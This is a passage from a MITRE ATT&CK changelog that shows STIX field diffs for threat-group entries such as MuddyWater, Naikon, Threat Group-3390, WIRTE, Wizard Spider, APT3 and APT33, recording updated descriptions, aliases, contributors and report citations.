| external_references[7]['source_name'] | ClearSky MuddyWater June 2019 | Unit 42 MuddyWater Nov 2017 |
| external_references[7]['description'] | ClearSky. (2019, June). Iranian APT group ‘MuddyWater’ Adds Exploits to Their Arsenal. Retrieved May 14, 2020. | Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018. |
| external_references[7]['url'] | https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf | https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/ |
| external_references[8]['source_name'] | Reaqta MuddyWater November 2017 | Symantec MuddyWater Dec 2018 |
| external_references[8]['description'] | Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020. | Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018. |
| external_references[8]['url'] | https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/ | https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group |
| external_references[9]['source_name'] | FireEye MuddyWater Mar 2018 | ClearSky MuddyWater Nov 2018 |
| external_references[9]['description'] | Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018. | ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018. |
| external_references[9]['url'] | https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html | https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf |
| x_mitre_version | 2.3 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Earth Vetala | |
| aliases | MERCURY | |
| aliases | Static Kitten | |
| external_references | {'source_name': 'ClearSky MuddyWater June 2019', 'description': 'ClearSky. (2019, June). Iranian APT group ‘MuddyWater’ Adds Exploits to Their Arsenal. Retrieved May 14, 2020.', 'url': 'https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf'} | |
| external_references | {'source_name': 'Reaqta MuddyWater November 2017', 'description': 'Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020.', 'url': 'https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/'} | |
| external_references | {'source_name': 'Trend Micro Muddy Water March 2021', 'description': 'Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html'} | |
| external_references | {'source_name': 'Anomali Static Kitten February 2021', 'description': 'Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.', 'url': 'https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies'} | |
| external_references | {'source_name': 'FireEye MuddyWater Mar 2018', 'description': 'Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.', 'url': 'https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Naikon](https://attack.mitre.org/groups/G0019) is a threat | t | 1 | [Naikon](https://attack.mitre.org/groups/G0019) is assessed |
| > | group that has focused on targets around the South China Sea | > | to be a state-sponsored cyber espionage group attributed to | ||
| > | .(Citation: Baumgartner Naikon 2015) The group has been attr | > | the Chinese People’s Liberation Army’s (PLA) Chengdu Militar | ||
| > | ibuted to the Chinese People’s Liberation Army’s (PLA) Cheng | > | y Region Second Technical Reconnaissance Bureau (Military Un | ||
| > | du Military Region Second Technical Reconnaissance Bureau(Mi | > | it Cover Designator 78020).(Citation: CameraShy) Active sinc | ||
| > | litary Unit Cover Designator 78020).(Citation: CameraShy) Wh | > | e at least 2010, [Naikon](https://attack.mitre.org/groups/G0 | ||
| > | ile [Naikon](https://attack.mitre.org/groups/G0019) shares s | > | 019) has primarily conducted operations against government, | ||
| > | ome characteristics with [APT30](https://attack.mitre.org/gr | > | military, and civil organizations in Southeast Asia, as well | ||
| > | oups/G0013), the two groups do not appear to be exact matche | > | as against international bodies such as the United Nations | ||
| > | s.(Citation: Baumgartner Golovkin Naikon 2015) | > | Development Programme (UNDP) and the Association of Southeas | ||
| > | t Asian Nations (ASEAN).(Citation: CameraShy)(Citation: Baum | ||||
| > | gartner Naikon 2015) While [Naikon](https://attack.mitre.o | ||||
| > | rg/groups/G0019) shares some characteristics with [APT30](ht | ||||
| > | tps://attack.mitre.org/groups/G0013), the two groups do not | ||||
| > | appear to be exact matches.(Citation: Baumgartner Golovkin N | ||||
| > | aikon 2015) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Kyaw Pyiyt Htet, @KyawPyiytHtet'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-03 21:48:57.725000+00:00 | 2021-08-19 18:23:23.507000+00:00 |
| description | [Naikon](https://attack.mitre.org/groups/G0019) is a threat group that has focused on targets around the South China Sea.(Citation: Baumgartner Naikon 2015) The group has been attributed to the Chinese People’s Liberation Army’s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau(Military Unit Cover Designator 78020).(Citation: CameraShy) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: Baumgartner Golovkin Naikon 2015) | [Naikon](https://attack.mitre.org/groups/G0019) is assessed to be a state-sponsored cyber espionage group attributed to the Chinese People’s Liberation Army’s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020).(Citation: CameraShy) Active since at least 2010, [Naikon](https://attack.mitre.org/groups/G0019) has primarily conducted operations against government, military, and civil organizations in Southeast Asia, as well as against international bodies such as the United Nations Development Programme (UNDP) and the Association of Southeast Asian Nations (ASEAN).(Citation: CameraShy)(Citation: Baumgartner Naikon 2015) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: Baumgartner Golovkin Naikon 2015) |
| external_references[2]['source_name'] | Baumgartner Naikon 2015 | CameraShy |
| external_references[2]['description'] | Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019. | ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015. |
| external_references[2]['url'] | https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf | http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf |
| external_references[3]['source_name'] | CameraShy | Baumgartner Naikon 2015 |
| external_references[3]['description'] | ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015. | Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019. |
| external_references[3]['url'] | http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf | https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.3 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Threat Group-3390](https://attack.mitre.org/groups/G0027) i | t | 1 | [Threat Group-3390](https://attack.mitre.org/groups/G0027) i |
| > | s a Chinese threat group that has extensively used strategic | > | s a Chinese threat group that has extensively used strategic | ||
| > | Web compromises to target victims. (Citation: Dell TG-3390) | > | Web compromises to target victims.(Citation: Dell TG-3390) | ||
| > | The group has been active since at least 2010 and has targe | > | The group has been active since at least 2010 and has target | ||
| > | ted organizations in the aerospace, government, defense, tec | > | ed organizations in the aerospace, government, defense, tech | ||
| > | hnology, energy, and manufacturing sectors. (Citation: Secur | > | nology, energy, manufacturing and gambling/betting sectors.( | ||
| > | eWorks BRONZE UNION June 2017) (Citation: Securelist LuckyMo | > | Citation: SecureWorks BRONZE UNION June 2017)(Citation: Secu | ||
| > | use June 2018) | > | relist LuckyMouse June 2018)(Citation: Trend Micro DRBContro | ||
| > | l February 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Daniyal Naeem, BT Security', 'Kyaw Pyiyt Htet, @KyawPyiytHtet'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 02:47:04.337000+00:00 | 2022-04-11 18:05:20.983000+00:00 |
| description | [Threat Group-3390](https://attack.mitre.org/groups/G0027) is a Chinese threat group that has extensively used strategic Web compromises to target victims. (Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors. (Citation: SecureWorks BRONZE UNION June 2017) (Citation: Securelist LuckyMouse June 2018) | [Threat Group-3390](https://attack.mitre.org/groups/G0027) is a Chinese threat group that has extensively used strategic Web compromises to target victims.(Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, manufacturing and gambling/betting sectors.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Securelist LuckyMouse June 2018)(Citation: Trend Micro DRBControl February 2020) |
| external_references[1]['description'] | (Citation: Dell TG-3390) (Citation: Hacker News LuckyMouse June 2018) | (Citation: Dell TG-3390)(Citation: Hacker News LuckyMouse June 2018) |
| external_references[2]['description'] | (Citation: Dell TG-3390) (Citation: Nccgroup Emissary Panda May 2018) (Citation: Hacker News LuckyMouse June 2018) | (Citation: Dell TG-3390)(Citation: Nccgroup Emissary Panda May 2018)(Citation: Hacker News LuckyMouse June 2018) |
| external_references[3]['description'] | (Citation: Gallagher 2015) (Citation: Nccgroup Emissary Panda May 2018) (Citation: Securelist LuckyMouse June 2018) (Citation: Hacker News LuckyMouse June 2018)(Citation: Unit42 Emissary Panda May 2019) | (Citation: Gallagher 2015)(Citation: Nccgroup Emissary Panda May 2018)(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)(Citation: Unit42 Emissary Panda May 2019)(Citation: Trend Micro Iron Tiger April 2021) |
| external_references[4]['source_name'] | BRONZE UNION | Iron Tiger |
| external_references[4]['description'] | (Citation: SecureWorks BRONZE UNION June 2017) (Citation: Nccgroup Emissary Panda May 2018) | (Citation: Hacker News LuckyMouse June 2018)(Citation: Trend Micro Iron Tiger April 2021) |
| external_references[5]['description'] | (Citation: Nccgroup Emissary Panda May 2018) (Citation: Securelist LuckyMouse June 2018) (Citation: Hacker News LuckyMouse June 2018) | (Citation: Nccgroup Emissary Panda May 2018)(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)(Citation: Trend Micro Iron Tiger April 2021) |
| external_references[6]['source_name'] | Iron Tiger | LuckyMouse |
| external_references[6]['description'] | (Citation: Hacker News LuckyMouse June 2018) | (Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)(Citation: Trend Micro Iron Tiger April 2021) |
| external_references[7]['source_name'] | LuckyMouse | BRONZE UNION |
| external_references[7]['description'] | (Citation: Securelist LuckyMouse June 2018) (Citation: Hacker News LuckyMouse June 2018) | (Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018) |
| external_references[8]['source_name'] | Dell TG-3390 | Earth Smilodon |
| external_references[8]['description'] | Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018. | (Citation: Trend Micro Iron Tiger April 2021) |
| external_references[10]['source_name'] | Securelist LuckyMouse June 2018 | Dell TG-3390 |
| external_references[10]['description'] | Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018. | Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018. |
| external_references[10]['url'] | https://securelist.com/luckymouse-hits-national-data-center/86083/ | https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage |
| external_references[11]['source_name'] | Hacker News LuckyMouse June 2018 | Unit42 Emissary Panda May 2019 |
| external_references[11]['description'] | Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018. | Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019. |
| external_references[11]['url'] | https://thehackernews.com/2018/06/chinese-watering-hole-attack.html | https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/ |
| external_references[12]['source_name'] | Nccgroup Emissary Panda May 2018 | Gallagher 2015 |
| external_references[12]['description'] | Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda – A potential new malicious tool. Retrieved June 25, 2018. | Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016. |
| external_references[12]['url'] | https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/ | http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/ |
| external_references[13]['source_name'] | Gallagher 2015 | Hacker News LuckyMouse June 2018 |
| external_references[13]['description'] | Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016. | Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018. |
| external_references[13]['url'] | http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/ | https://thehackernews.com/2018/06/chinese-watering-hole-attack.html |
| external_references[14]['source_name'] | Unit42 Emissary Panda May 2019 | Securelist LuckyMouse June 2018 |
| external_references[14]['description'] | Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019. | Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018. |
| external_references[14]['url'] | https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/ | https://securelist.com/luckymouse-hits-national-data-center/86083/ |
| x_mitre_version | 1.3 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Earth Smilodon | |
| external_references | {'source_name': 'Trend Micro Iron Tiger April 2021', 'description': 'Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html'} | |
| external_references | {'source_name': 'Trend Micro DRBControl February 2020', 'description': 'Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.', 'url': 'https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf'} | |
| external_references | {'source_name': 'Nccgroup Emissary Panda May 2018', 'description': 'Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda – A potential new malicious tool. Retrieved June 25, 2018.', 'url': 'https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [WIRTE](https://attack.mitre.org/groups/G0090) is a threat g | t | 1 | [WIRTE](https://attack.mitre.org/groups/G0090) is a threat g |
| > | roup that has been active since at least August 2018. The gr | > | roup that has been active since at least August 2018. [WIRTE | ||
| > | oup focuses on targeting Middle East defense and diplomats.( | > | ](https://attack.mitre.org/groups/G0090) has targeted govern | ||
| > | Citation: Lab52 WIRTE Apr 2019) | > | ment, diplomatic, financial, military, legal, and technology | ||
| > | organizations in the Middle East and Europe.(Citation: Lab5 | ||||
| > | 2 WIRTE Apr 2019)(Citation: Kaspersky WIRTE November 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 19:31:01.756000+00:00 | 2022-04-15 19:50:19.478000+00:00 |
| description | [WIRTE](https://attack.mitre.org/groups/G0090) is a threat group that has been active since at least August 2018. The group focuses on targeting Middle East defense and diplomats.(Citation: Lab52 WIRTE Apr 2019) | [WIRTE](https://attack.mitre.org/groups/G0090) is a threat group that has been active since at least August 2018. [WIRTE](https://attack.mitre.org/groups/G0090) has targeted government, diplomatic, financial, military, legal, and technology organizations in the Middle East and Europe.(Citation: Lab52 WIRTE Apr 2019)(Citation: Kaspersky WIRTE November 2021) |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Kaspersky WIRTE November 2021', 'description': 'Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022.', 'url': 'https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044'} |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Wizard Spider](https://attack.mitre.org/groups/G0102) is a | t | 1 | [Wizard Spider](https://attack.mitre.org/groups/G0102) is a |
| > | financially motivated criminal group that has been conductin | > | Russia-based financially motivated threat group originally k | ||
| > | g ransomware campaigns since at least August 2018 against a | > | nown for the creation and deployment of [TrickBot](https://a | ||
| > | variety of organizations, ranging from major corporations to | > | ttack.mitre.org/software/S0266) since at least 2016. [Wizard | ||
| > | hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citatio | > | Spider](https://attack.mitre.org/groups/G0102) possesses a | ||
| > | n: DHS/CISA Ransomware Targeting Healthcare October 2020) | > | diverse arsenal of tools and has conducted ransomware campai | ||
| > | gns against a variety of organizations, ranging from major c | ||||
| > | orporations to hospitals.(Citation: CrowdStrike Ryuk January | ||||
| > | 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare Oc | ||||
| > | tober 2020)(Citation: CrowdStrike Wizard Spider October 2020 | ||||
| > | ) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-11-10 19:06:49.687000+00:00 | 2021-10-14 17:27:41.194000+00:00 |
| description | [Wizard Spider](https://attack.mitre.org/groups/G0102) is a financially motivated criminal group that has been conducting ransomware campaigns since at least August 2018 against a variety of organizations, ranging from major corporations to hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020) | [Wizard Spider](https://attack.mitre.org/groups/G0102) is a Russia-based financially motivated threat group originally known for the creation and deployment of [TrickBot](https://attack.mitre.org/software/S0266) since at least 2016. [Wizard Spider](https://attack.mitre.org/groups/G0102) possesses a diverse arsenal of tools and has conducted ransomware campaigns against a variety of organizations, ranging from major corporations to hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: CrowdStrike Wizard Spider October 2020) |
| external_references[6]['source_name'] | FireEye KEGTAP SINGLEMALT October 2020 | CrowdStrike Wizard Spider October 2020 |
| external_references[6]['description'] | Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020. | Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021. |
| external_references[6]['url'] | https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html | https://www.crowdstrike.com/blog/wizard-spider-adversary-update/ |
| external_references[7]['source_name'] | FireEye Ryuk and Trickbot January 2019 | FireEye KEGTAP SINGLEMALT October 2020 |
| external_references[7]['description'] | Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020. | Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020. |
| external_references[7]['url'] | https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html | https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html |
| external_references[8]['source_name'] | CrowdStrike Grim Spider May 2019 | FireEye Ryuk and Trickbot January 2019 |
| external_references[8]['description'] | John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020. | Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020. |
| external_references[8]['url'] | https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/ | https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CrowdStrike Grim Spider May 2019', 'description': 'John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.', 'url': 'https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/'} | |
| x_mitre_contributors | Edward Millington |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 14:40:36.467000+00:00 | 2021-05-26 20:17:53.085000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:35:55.290000+00:00 | 2021-05-26 12:23:48.842000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:48:29.397000+00:00 | 2021-05-26 12:38:01.003000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT3](https://attack.mitre.org/groups/G0022) is a China-bas | t | 1 | [APT3](https://attack.mitre.org/groups/G0022) is a China-bas |
| > | ed threat group that researchers have attributed to China's | > | ed threat group that researchers have attributed to China's | ||
| > | Ministry of State Security. (Citation: FireEye Clandestine W | > | Ministry of State Security.(Citation: FireEye Clandestine Wo | ||
| > | olf) (Citation: Recorded Future APT3 May 2017) This group is | > | lf)(Citation: Recorded Future APT3 May 2017) This group is r | ||
| > | responsible for the campaigns known as Operation Clandestin | > | esponsible for the campaigns known as Operation Clandestine | ||
| > | e Fox, Operation Clandestine Wolf, and Operation Double Tap. | > | Fox, Operation Clandestine Wolf, and Operation Double Tap.(C | ||
| > | (Citation: FireEye Clandestine Wolf) (Citation: FireEye Ope | > | itation: FireEye Clandestine Wolf)(Citation: FireEye Operati | ||
| > | ration Double Tap) As of June 2015, the group appears to hav | > | on Double Tap) As of June 2015, the group appears to have sh | ||
| > | e shifted from targeting primarily US victims to primarily p | > | ifted from targeting primarily US victims to primarily polit | ||
| > | olitical organizations in Hong Kong. (Citation: Symantec Buc | > | ical organizations in Hong Kong.(Citation: Symantec Buckeye) | ||
| > | keye) MITRE has also developed an APT3 Adversary Emulation | > | In 2017, MITRE developed an APT3 Adversary Emulation Plan. | ||
| > | Plan.(Citation: APT3 Adversary Emulation Plan) | > | (Citation: APT3 Adversary Emulation Plan) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Patrick Sungbahadoor'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 01:47:03.155000+00:00 | 2021-10-01 19:09:20.817000+00:00 |
| description | [APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye) MITRE has also developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan) | [APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security.(Citation: FireEye Clandestine Wolf)(Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.(Citation: FireEye Clandestine Wolf)(Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.(Citation: Symantec Buckeye) In 2017, MITRE developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan) |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Dragos Threat Intelligence'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-01 15:48:20.759000+00:00 | 2022-05-23 21:22:08.170000+00:00 |
| external_references[4]['source_name'] | FireEye APT33 Sept 2017 | FireEye APT33 Webinar Sept 2017 |
| external_references[4]['description'] | O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018. | Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018. |
| external_references[4]['url'] | https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html | https://www.brighttalk.com/webcast/10703/275683 |
| external_references[5]['source_name'] | FireEye APT33 Webinar Sept 2017 | Microsoft Holmium June 2020 |
| external_references[5]['description'] | Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018. | Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020. |
| external_references[5]['url'] | https://www.brighttalk.com/webcast/10703/275683 | https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/ |
| external_references[6]['source_name'] | Microsoft Holmium June 2020 | FireEye APT33 Sept 2017 |
